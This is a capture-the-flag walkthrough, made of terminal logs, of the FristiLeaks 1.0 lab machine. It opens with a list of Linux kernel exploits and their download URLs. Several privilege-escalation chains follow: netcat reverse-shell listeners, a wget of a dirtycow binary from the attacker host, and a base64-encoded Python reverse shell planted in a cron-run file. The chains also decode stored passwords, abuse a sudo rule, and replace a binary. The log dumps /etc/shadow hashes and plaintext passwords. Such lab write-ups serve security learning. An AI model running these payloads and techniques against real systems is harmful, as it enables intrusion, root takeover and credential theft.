   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Tags: ubuntu=12.04
   Download URL: https://cyseclabs.com/exploits/vnik_v1.c

[+] [CVE-2013-0268] msr

   Details: https://www.exploit-db.com/exploits/27297/
   Download URL: https://www.exploit-db.com/download/27297

[+] [CVE-2013-2094] semtex

   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Tags: RHEL=6
   Download URL: https://www.exploit-db.com/download/25444

[+] [CVE-2014-0196] rawmodePTY

   Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html
   Download URL: https://www.exploit-db.com/download/33516

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847.cpp
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2017-6074] dccp

   Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
   Tags: ubuntu=(14.04|16.04){kernel:4.4.0-62-generic}
   Download URL: https://www.exploit-db.com/download/41458
   Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass

[+] [CVE-2009-1185] udev

   Details: https://www.exploit-db.com/exploits/8572/
   Tags: ubuntu=8.10|9.04
   Download URL: https://www.exploit-db.com/download/8572
   Comments: Version<1.4.1 vulnerable but distros use own versioning scheme. Manual verification needed 

[+] [CVE-2009-1185] udev 2

   Details: https://www.exploit-db.com/exploits/8478/
   Download URL: https://www.exploit-db.com/download/8478
   Comments: SSH access to non privileged user is needed. Version<1.4.1 vulnerable but distros use own versioning scheme. Manual verification needed

[+] [CVE-2015-3202] fuse (fusermount)

   Details: http://seclists.org/oss-sec/2015/q2/520
   Tags: debian=7.0|8.0,ubuntu=*
   Download URL: https://www.exploit-db.com/download/37089
   Comments: Needs cron or system admin interaction

[+] [CVE-2015-3246] userhelper

   Details: https://www.qualys.com/2015/07/23/cve-2015-3245-cve-2015-3246/cve-2015-3245-cve-2015-3246.txt
   Tags: RHEL<=7,centos<=7,fedora<=22
   Download URL: https://www.exploit-db.com/download/37706

[+] [CVE-2016-6663,CVE-2016-6664|CVE-2016-6662] mysql-exploit-chain

   Details: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
   Tags: ubuntu=16.04.1
   Download URL: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c
   Comments: Also MariaDB ver<10.1.18 and ver<10.0.28 affected

[+] [CVE-2017-1000367] Sudoer-to-root

   Details: https://www.sudo.ws/alerts/linux_tty.html
   Tags: RHEL=7{sudo:1.8.6p7}
   Download URL: https://www.qualys.com/2017/05/30/cve-2017-1000367/linux_sudo_cve-2017-1000367.c
   Comments: Needs to be sudoer. Works only on SELinux enabled systems

[+] [CVE-2017-1000367] sudopwn

   Details: https://www.sudo.ws/alerts/linux_tty.html
   Download URL: https://raw.githubusercontent.com/c0d3z3r0/sudo-CVE-2017-1000367/master/sudopwn.c
   Comments: Needs to be sudoer. Works only on SELinux enabled systems

[+] [CVE-2017-1000366,CVE-2017-1000379] linux_ldso_hwcap_64

   Details: https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt
   Tags: debian=7.7|8.5|9.0,ubuntu=14.04.2|16.04.2|17.04,fedora=22|25,centos=7.3.1611
   Download URL: https://www.qualys.com/2017/06/19/stack-clash/linux_ldso_hwcap_64.c
   Comments: Uses "Stack Clash" technique, works against most SUID-root binaries

[+] [CVE-2018-1000001] RationalLove

   Details: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/
   Tags: debian=9{glibc:2.24-11+deb9u1},ubuntu=16.04.3{glibc:2.23-0ubuntu9}
   Download URL: https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c
   Comments: kernel.unprivileged_userns_clone=1 required



=================================================================================
Privesc from "apache" to "root" using dirtycow (CVE-2016-5195)
=================================================================================

root@Security-Audit-01:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.49] 40141
sh: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)


sh-4.1$ wget http://192.168.1.8:8000/dirtycow

--2018-08-21 15:33:17--  http://192.168.1.8:8000/dirtycow
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18248 (18K) [application/octet-stream]
Saving to: `dirtycow'
100%[======================================>] 18,248      --.-K/s   in 0.003s  
2018-08-21 15:33:17 (6.45 MB/s) - `dirtycow' saved [18248/18248]

sh-4.1$ chmod +x dirtycow

sh-4.1$ ls -al
total 84
drwxrwxrwt.  3 root   root    4096 Aug 21 15:33 .
dr-xr-xr-x. 22 root   root    4096 Aug 21 09:20 ..
drwxrwxrwt   2 root   root    4096 Aug 21 09:20 .ICE-unix
-rw-r--r--   1 apache apache   317 Aug 21 13:12 base64-encoded-payload
-rw-r--r--   1 admin  admin  35074 Aug 21 15:33 cronresult
-rwxr-xr-x   1 admin  admin    219 Aug 21 14:02 decode.py
-rwxr-xr-x   1 apache apache 18248 Jul 15 19:21 dirtycow
-rwxr-xr-x   1 apache apache   235 Aug 21 13:13 runthis

sh-4.1$ python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.1$
bash-4.1$ ./dirtycow
./dirtycow
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: audit

Complete line:
audit:au33CGK3xrKzw:0:0:pwned:/root:/bin/bash

mmap: 7f44a6bdc000

madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'audit' and the password 'audit'.

DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

bash-4.1$
bash-4.1$ su audit
Password: audit

[audit@localhost tmp]# cat /etc/sudoers

## Sudoers allows particular users to run various commands as
## the root user, without needing the root password.
##
## Examples are provided at the bottom of the file for collections
## of related commands, which can then be delegated out to particular
## users or groups.
## 
## This file must be edited with the 'visudo' command.

## Host Aliases
## Groups of machines. You may prefer to use hostnames (perhaps using 
## wildcards for entire domains) or IP addresses instead.
# Host_Alias     FILESERVERS = fs1, fs2
# Host_Alias     MAILSERVERS = smtp, smtp2

## User Aliases
## These aren't often necessary, as you can use regular groups
## (ie, from files, LDAP, NIS, etc) in this file - just use %groupname 
## rather than USERALIAS
# User_Alias ADMINS = jsmith, mikem


## Command Aliases
## These are groups of related commands...

## Networking
# Cmnd_Alias NETWORKING = /sbin/route, /sbin/ifconfig, /bin/ping, /sbin/dhclient, /usr/bin/net, /sbin/iptables, /usr/bin/rfcomm, /usr/bin/wvdial, /sbin/iwconfig, /sbin/mii-tool

## Installation and management of software
# Cmnd_Alias SOFTWARE = /bin/rpm, /usr/bin/up2date, /usr/bin/yum

## Services
# Cmnd_Alias SERVICES = /sbin/service, /sbin/chkconfig

## Updating the locate database
# Cmnd_Alias LOCATE = /usr/bin/updatedb

## Storage
# Cmnd_Alias STORAGE = /sbin/fdisk, /sbin/sfdisk, /sbin/parted, /sbin/partprobe, /bin/mount, /bin/umount

## Delegating permissions
# Cmnd_Alias DELEGATING = /usr/sbin/visudo, /bin/chown, /bin/chmod, /bin/chgrp 

## Processes
# Cmnd_Alias PROCESSES = /bin/nice, /bin/kill, /usr/bin/kill, /usr/bin/killall

## Drivers
# Cmnd_Alias DRIVERS = /sbin/modprobe

# Defaults specification

#
# Disable "ssh hostname sudo <cmd>", because it will show the password in clear. 
#         You have to run "ssh -t hostname sudo <cmd>".
#
Defaults    requiretty

#
# Refuse to run if unable to disable echo on the tty. This setting should also be
# changed in order to be able to use sudo without a tty. See requiretty above.
#
Defaults   !visiblepw

#
# Preserving HOME has security implications since many programs
# use it when searching for configuration files. Note that HOME
# is already set when the the env_reset option is enabled, so
# this option is only effective for configurations where either
# env_reset is disabled or HOME is present in the env_keep list.
#
Defaults    always_set_home

Defaults    env_reset
Defaults    env_keep =  "COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS"
Defaults    env_keep += "MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE"
Defaults    env_keep += "LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES"
Defaults    env_keep += "LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE"
Defaults    env_keep += "LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY"

#
# Adding HOME to env_keep may enable a user to run unrestricted
# commands via sudo.
#
# Defaults   env_keep += "HOME"

Defaults    secure_path = /sbin:/bin:/usr/sbin:/usr/bin

## Next comes the main part: which users can run what software on 
## which machines (the sudoers file can be shared between multiple
## systems).
## Syntax:
##
## 	user	MACHINE=COMMANDS
##
## The COMMANDS section may have other options added to it.
##
## Allow root to run any commands anywhere 
root	ALL=(ALL) 	ALL

## Allows members of the 'sys' group to run networking, software, 
## service management apps and more.
# %sys ALL = NETWORKING, SOFTWARE, SERVICES, STORAGE, DELEGATING, PROCESSES, LOCATE, DRIVERS

## Allows people in group wheel to run all commands
# %wheel	ALL=(ALL)	ALL

## Same thing without a password
# %wheel	ALL=(ALL)	NOPASSWD: ALL

## Allows members of the users group to mount and unmount the 
## cdrom as root
# %users  ALL=/sbin/mount /mnt/cdrom, /sbin/umount /mnt/cdrom

## Allows members of the users group to shutdown this system
# %users  localhost=/sbin/shutdown -h now
fristigod ALL=(fristi:ALL) /var/fristigod/.secret_admin_stuff/doCom

## Read drop-in files from /etc/sudoers.d (the # here does not mean a comment)
#includedir /etc/sudoers.d


[audit@localhost tmp]# cat /etc/shadow

root:$6$qAoeosiW$fsOy8H/VKux.9K0T3Ww2D3FPNlO5LAaFytx/6t69Q7LPDSS/nNiP4xzq0Qab.Iz3uy5fYdH3Aw/K5v3ZMhRRH0:16756:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
halt:*:15980:0:99999:7:::
mail:*:15980:0:99999:7:::
uucp:*:15980:0:99999:7:::
operator:*:15980:0:99999:7:::
games:*:15980:0:99999:7:::
gopher:*:15980:0:99999:7:::
ftp:*:15980:0:99999:7:::
nobody:*:15980:0:99999:7:::
vcsa:!!:16756::::::
saslauth:!!:16756::::::
postfix:!!:16756::::::
sshd:!!:16756::::::
apache:!!:16756::::::
mysql:!!:16756::::::
vboxadd:!!:16756::::::
eezeepz:$6$djF4bN.s$JWhT7wJo37fgtuJ.be2Q62PnM/AogXuqGa.PgRzrMGv9/Th0aixBXl8Usy9.RkO1ZRAQ/UM3xP7oGWu9zgEIl.:16756:0:99999:7:::
admin:$6$NPXhvENr$yG4a5RpaLpL5UDRRZ3Ts0eZadZfFFbYpI1kyNJp9rND0AySx2FhYSmAvY.91UzETJVvZcDjWb2pp85uLAli2J/:16757:0:99999:7:::
fristigod:$6$0WqnZlI/$gIzMByP7rH21W3neA.uHYZZg5aM7gI1xtOj8WwgoK1QgQh2LWL0nQBJau/mGcOSxLbaGJhJjM.6HNJTWsaetf0:16758:0:99999:7:::
fristi:!!:16764:0:99999:7:::
[audit@localhost tmp]# 

[audit@localhost tmp]#  cd /root
[audit@localhost tmp]#  ls
fristileaks_secrets.txt
[audit@localhost tmp]#  cat fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1
 


=======================================================================================
Privesc from "apache" to "admin" using the information of the files "notes.txt"
=======================================================================================

root@Security-Audit-01:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.49] 40141
sh: no job control in this shell
sh-4.1$ id
uid=48(apache) gid=48(apache) groups=48(apache)

sh-4.1$ python -c 'import pty; pty.spawn("/bin/bash")'
bash-4.1$
bash-4.1$ ls
cgi-bin  error	html  icons  notes.txt

bash-4.1$ cat notes.txt

hey eezeepz your homedir is a mess, go clean it up, just dont delete
the important stuff.
-jerry


bash-4.1$ cat /home/eezeepz/notes.txt

Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

------------------------------------------------------------

bash-4.1$ echo 'L3Vzci9iaW4vcHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC4xLjgiLDgwKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsnCg==' > base64-encoded-payload

bash-4.1$ base64 -d base64-encoded-payload
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.8",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash-4.1$ base64 -d base64-encoded-payload > runthis
bash-4.1$ chmod +x runthis
bash-4.1$ ls -al
total 24
drwxrwxrwt.  3 root   root   4096 Aug 21 13:13 .
dr-xr-xr-x. 22 root   root   4096 Aug 21 09:20 ..
drwxrwxrwt   2 root   root   4096 Aug 21 09:20 .ICE-unix
-rw-r--r--   1 apache apache  317 Aug 21 13:12 base64-encoded-payload
-rw-r--r--   1 admin  admin   634 Aug 21 13:04 cronresult
-rwxr-xr-x   1 apache apache  235 Aug 21 13:13 runthis

Note: 'runthis' is executed with the privilege of the user 'admin' => I gained a reverse shell as 'admin'


root@Security-Audit-01:~/Desktop/FristiLeaks# nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.49] 34648
sh: no job control in this shell
sh-4.1$ bbaasshh
id
uid=501(admin) gid=501(admin) groups=501(admin)

cd /home/admin
ls -al
total 656
drwx------. 2 admin     admin       4096 Aug 21 13:15 .
drwxr-xr-x. 5 root      root        4096 Nov 19  2015 ..
-rw-------  1 admin     admin         84 Aug 21 13:16 .bash_history
-rw-r--r--. 1 admin     admin         18 Sep 22  2015 .bash_logout
-rw-r--r--. 1 admin     admin        176 Sep 22  2015 .bash_profile
-rw-r--r--. 1 admin     admin        124 Sep 22  2015 .bashrc
-rwxr-xr-x  1 admin     admin      45224 Nov 18  2015 cat
-rwxr-xr-x  1 admin     admin      48712 Nov 18  2015 chmod
-rw-r--r--  1 admin     admin        737 Nov 18  2015 cronjob.py
-rw-r--r--  1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rw-r--r--  1 admin     admin        258 Nov 18  2015 cryptpass.py
-rwxr-xr-x  1 admin     admin      90544 Nov 18  2015 df
-rwxr-xr-x  1 admin     admin      24136 Nov 18  2015 echo
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 egrep
-rwxr-xr-x  1 admin     admin     163600 Nov 18  2015 grep
-rwxr-xr-x  1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r--  1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt


less /home/admin/whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

cd /home/admin
less cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

less cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

===================================================================================
Privesc from "admin" to "fristigod" using the encrypted pwds stored in "/home/admin"
===================================================================================

Code to decrypt the passwords (file "decode.py")
------------------------------------------------- 
#!/usr/bin/python
import base64,codecs,sys
def decodeString(str):
    base64string = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(base64string)
cryptoResult=decodeString(sys.argv[1])
print cryptoResult


wget http://192.168.1.8:8000/decode.py
--2018-08-21 14:02:40--  http://192.168.1.8:8000/decode.py
Connecting to 192.168.1.8:8000... connected.
HTTP request sent, awaiting response... 200 OK

less cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

python decode.py mVGZ3O3omkJLmy2pcuTq
thisisalsopw123

less /home/admin/whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

python decode.py =RFn0AKnlMHMPIzpyuTI0ITG
LetThereBeFristi!

--------------------------------------------------------
Other options
=> type in a python interpreter..
	import codecs
	str = 'mVGZ3O3omkJLmy2pcuTq'
	str = codecs.decode(str, 'rot13')
	str = str[::-1]
	str = codecs.decode(str, 'base64')
	print str
=> Output: thisisalsopw123
--------------------------------------------------------

sudo -l
sudo: sorry, you must have a tty to run sudo

python -c 'import pty; pty.spawn("/bin/bash")'

[admin@localhost tmp]$ ssuuddoo  --ll

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for admin: thisisalsopw123
Sorry, user admin may not run sudo on localhost.

[admin@localhost tmp]$ su fristigod
Password: LetThereBeFristi!

bash-4.1$ wwhhooaammii
fristigod

===================================================================================
Privesc from "fristigod" to "root" using a SUDO rule and info in ".bash_history" 
===================================================================================

bash-4.1$ sudo -l

[sudo] password for fristigod: LetThereBeFristi!

Matching Defaults entries for fristigod on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

bash-4.1$ 
bash-4.1$ less  /var/fristigod/.bash_history

WARNING: terminal is not fully functional
lsar/fristigod/.bash_history  (press RETURN) 
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom 
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom 
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit
(END) 


bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
[sudo] password for fristigod: LetThereBeFristi!

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom cat /etc/shadow   

root:$6$qAoeosiW$fsOy8H/VKux.9K0T3Ww2D3FPNlO5LAaFytx/6t69Q7LPDSS/nNiP4xzq0Qab.Iz3uy5fYdH3Aw/K5v3ZMhRRH0:16756:0:99999:7:::
bin:*:15980:0:99999:7:::
daemon:*:15980:0:99999:7:::
adm:*:15980:0:99999:7:::
lp:*:15980:0:99999:7:::
sync:*:15980:0:99999:7:::
shutdown:*:15980:0:99999:7:::
halt:*:15980:0:99999:7:::
mail:*:15980:0:99999:7:::
uucp:*:15980:0:99999:7:::
operator:*:15980:0:99999:7:::
games:*:15980:0:99999:7:::
gopher:*:15980:0:99999:7:::
ftp:*:15980:0:99999:7:::
nobody:*:15980:0:99999:7:::
vcsa:!!:16756::::::
saslauth:!!:16756::::::
postfix:!!:16756::::::
sshd:!!:16756::::::
apache:!!:16756::::::
mysql:!!:16756::::::
vboxadd:!!:16756::::::
eezeepz:$6$djF4bN.s$JWhT7wJo37fgtuJ.be2Q62PnM/AogXuqGa.PgRzrMGv9/Th0aixBXl8Usy9.RkO1ZRAQ/UM3xP7oGWu9zgEIl.:16756:0:99999:7:::
admin:$6$NPXhvENr$yG4a5RpaLpL5UDRRZ3Ts0eZadZfFFbYpI1kyNJp9rND0AySx2FhYSmAvY.91UzETJVvZcDjWb2pp85uLAli2J/:16757:0:99999:7:::
fristigod:$6$0WqnZlI/$gIzMByP7rH21W3neA.uHYZZg5aM7gI1xtOj8WwgoK1QgQh2LWL0nQBJau/mGcOSxLbaGJhJjM.6HNJTWsaetf0:16758:0:99999:7:::
fristi:!!:16764:0:99999:7:::

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom bash

bash-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

bash-4.1# ccdd  //rroooott
bash-4.1# ls 
fristileaks_secrets.txt

bash-4.1# cat  fristileaks_secrets.txt

Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)

Flag: Y0u_kn0w_y0u_l0ve_fr1st1

bash-4.1# 


=====================================================================================
Privesc from "fristigod" to "fristi" using a SUDO rule and weak folder permissions
=====================================================================================

root@Security-Audit-01:~/Desktop/FristiLeaks# nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.1.8] from (UNKNOWN) [192.168.1.49] 34766
sh: no job control in this shell
sh-4.1$ bash
python -c 'import pty; pty.spawn("/bin/bash")'

[admin@localhost ~]$ llss
cat    cronjob.py	cryptpass.py  echo   grep  whoisyourgodnow.txt
chmod  cryptedpass.txt	df	      egrep  ps
[admin@localhost ~]$ bbaasshh

id
uid=501(admin) gid=501(admin) groups=501(admin)

su  fristigod
Password: LetThereBeFristi!

cd /var/fristigod

ls -al

total 16
drwxr-x---   3 fristigod fristigod 4096 Nov 25  2015 .
drwxr-xr-x. 19 root      root      4096 Nov 19  2015 ..
-rw-------   1 fristigod fristigod  864 Nov 25  2015 .bash_history
drwxrwxr-x.  2 fristigod fristigod 4096 Aug 21 15:13 .secret_admin_stuff

cd  .secret_admin_stuff

mv doCom doCom2

echo '/bin/bash' > doCom

ls -al
total 20
drwxrwxr-x. 2 fristigod fristigod 4096 Aug 21 15:13 .
drwxr-x---  3 fristigod fristigod 4096 Nov 25  2015 ..
-rwxrwxr-x  1 fristigod fristigod    9 Aug 21 15:13 doCom
-rwsr-sr-x  1 root      root      7529 Nov 25  2015 doCom2

id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
[sudo] password for fristigod: LetThereBeFristi!

id
uid=503(fristi) gid=100(users) groups=100(users),502(fristigod)